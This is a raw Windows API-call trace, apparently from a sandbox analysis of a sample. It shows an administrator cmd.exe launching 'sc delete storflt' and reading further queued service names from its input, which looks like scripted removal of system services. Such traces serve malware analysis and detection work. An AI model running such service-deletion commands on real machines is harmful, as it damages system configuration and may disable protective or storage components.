lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0063.540] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0063.540] GetProcessHeap () returned 0x1b0000 [0063.540] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0063.540] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.541] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.541] GetProcessHeap () returned 0x1b0000 [0063.542] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0063.542] GetProcessHeap () returned 0x1b0000 [0063.542] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c98a0 [0063.542] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete storflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete storflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete storflt", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x808, dwThreadId=0x818)) returned 1 [0063.574] CloseHandle (hObject=0x54) returned 1 [0063.574] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0063.574] GetProcessHeap () returned 0x1b0000 [0063.574] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8980 | out: hHeap=0x1b0000) returned 1 [0063.574] GetEnvironmentStringsW () returned 0x1c8980* [0063.574] GetProcessHeap () returned 0x1b0000 [0063.574] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0063.574] FreeEnvironmentStringsW (penv=0x1c8980) returned 1 [0063.574] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0063.574] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0063.574] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0063.870] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x0) returned 1 [0063.870] CloseHandle (hObject=0x50) returned 1 [0063.870] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000000") returned 8 [0063.870] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0063.870] GetProcessHeap () returned 0x1b0000 [0063.870] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.870] GetEnvironmentStringsW () returned 0x1c8980* [0063.870] GetProcessHeap () returned 0x1b0000 [0063.870] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0063.870] FreeEnvironmentStringsW (penv=0x1c8980) returned 1 [0063.870] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0063.870] GetProcessHeap () returned 0x1b0000 [0063.870] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.870] GetEnvironmentStringsW () returned 0x1c8980* [0063.870] GetProcessHeap () returned 0x1b0000 [0063.870] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0063.870] FreeEnvironmentStringsW (penv=0x1c8980) returned 1 [0063.870] GetProcessHeap () returned 0x1b0000 [0063.870] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c98a0 | out: hHeap=0x1b0000) returned 1 [0063.870] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0063.870] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0063.871] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.871] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0063.871] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.871] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0063.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.871] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0063.871] GetConsoleOutputCP () returned 0x1b5 [0063.871] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.871] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9db0 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0063.872] GetProcessHeap () returned 0x1b0000 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0063.872] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0063.872] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.872] GetFileType (hFile=0x120) returned 0x3 [0063.872] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0063.872] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0063.872] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0063.872] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.872] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0063.873] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0063.873] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.873] GetFileType (hFile=0x120) returned 0x3 [0063.873] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0063.873] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0063.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.873] GetFileType (hFile=0xb8) returned 0x3 [0063.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.873] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete storflt\ntbeat\nface\n") returned 1 [0063.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.873] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete storflt\ntbeat\nface\n") returned 1 [0063.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.873] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete storflt\ntbeat\nface\n") returned 1 [0063.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.873] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete storflt\ntbeat\nface\n") returned 1 [0063.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.874] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete storflt\ntbeat\nface\n") returned 1 [0063.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.874] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete storflt\ntbeat\nface\n") returned 1 [0063.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.874] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete storflt\ntbeat\nface\n") returned 1 [0063.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.874] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te storflt\ntbeat\nface\n") returned 1 [0063.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.874] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e storflt\ntbeat\nface\n") returned 1 [0063.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.874] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" storflt\ntbeat\nface\n") returned 1 [0063.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.875] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="vtorflt\ntbeat\nface\n") returned 1 [0063.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.875] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="morflt\ntbeat\nface\n") returned 1 [0063.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.875] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="irflt\ntbeat\nface\n") returned 1 [0063.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.875] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="cflt\ntbeat\nface\n") returned 1 [0063.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.875] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="tlt\ntbeat\nface\n") returned 1 [0063.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.875] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="it\ntbeat\nface\n") returned 1 [0063.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.876] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="m\ntbeat\nface\n") returned 1 [0063.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.876] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="etbeat\nface\n") returned 1 [0063.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.876] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="sbeat\nface\n") returned 1 [0063.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 